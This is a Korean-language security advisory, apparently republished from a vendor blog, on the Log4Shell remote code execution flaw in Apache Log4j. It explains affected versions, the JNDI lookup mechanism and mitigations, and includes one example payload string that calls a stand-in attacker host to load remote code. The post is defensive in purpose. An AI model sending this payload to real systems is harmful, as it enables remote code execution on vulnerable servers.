Log4Shell: Apache Log4j 원격 코드 실행
2654 단어 apachecybersecurityhackingjava
중요한 Java 로깅 유틸리티 Log4j의 인증되지 않은 RCE
2021년 12월 9일 Apache는 Log4j 2 유틸리티에 수많은 애플리케이션에 영향을 미치는 심각한 문제인 인증되지 않은 원격 코드 실행(RCE)을 허용하는 치명적인 취약점이 포함되어 있다고 밝혔습니다.
이 게시물은 Chetan Conikee, Fabian Yamaguchi, Katie Horne이 공동으로 작성했습니다.
영향을 받는 것은 무엇입니까?
Log4j는 Apache Struts2와 같은 많은 주요 프레임워크에 종속성으로 포함된 인기 있는 오픈 소스 로깅 패키지입니다.
Log4Shell RCE 취약점은 공격자가 Apache Log4j의 취약한 버전을 실행하는 서버에 요청을 보내 임의 코드를 실행할 수 있도록 합니다. 이 공격의 이름은 "Log4Shell"이며 CVE 번호는 CVE-2021-44228입니다. Apache Log4j 버전 <=2.14.1은 공격에 취약합니다.
공격은 어떻게 작동합니까?
로그를 구문 분석할 때 Log4j는 수신한 입력을 검사하고 입력에 포함된 변수를 해결하려고 시도합니다. 특히 Log4j는 네트워크를 통해 변수를 검색할 수 있는 JNDI 조회를 지원합니다.
애플리케이션이 취약한 Log4j 버전을 사용하는 경우 공격자는 먼저 악의적인 페이로드 ${jndi:ldap://attacker.com/abc}가 포함된 문자열을 애플리케이션에 보낼 수 있습니다. 여기서 공격자.com은 공격자가 제어하는 서버입니다.
취약한 애플리케이션은 ${}에 포함된 입력을 JDNI 리소스로 해석하고 공격자.com에 리소스 검색을 요청합니다. 공격자는 원격 Java 클래스 파일을 되돌려 보낼 수 있으며, 그러면 취약한 응용 프로그램에 의해 로드됩니다.
이 문제를 어떻게 해결합니까?
이 취약점으로부터 코드를 보호하려면 log4j 라이브러리를 최신 버전으로 업그레이드하십시오. log4j 2.15.0부터 취약한 조회 동작은 기본적으로 비활성화되었습니다.
라이브러리를 업그레이드할 수 없는 경우 다음을 통해 이 취약점을 일시적으로 완화할 수 있습니다.
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
ShiftLeft CORE( https://www.shiftleft.io/ )를 사용하여 다음을 수행할 수 있습니다.
애플리케이션 로그를 주시하고 비정상적인 활동이 있는지 검토하십시오. 자세한 내용이 제공되는 대로 이 게시물을 업데이트하겠습니다.
무료 ShiftLeft CORE 계정을 얻으려면 https://www.shiftleft.io/register을 방문하십시오.
Intelligent SCA를 사용하려면 ShiftLeft CORE 내에서 프리미엄 평가판에 등록하십시오.
Reference
이 문제에 관하여(Log4Shell: Apache Log4j 원격 코드 실행), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/shiftleft/log4shell-apache-log4j-remote-code-execution-1j40텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)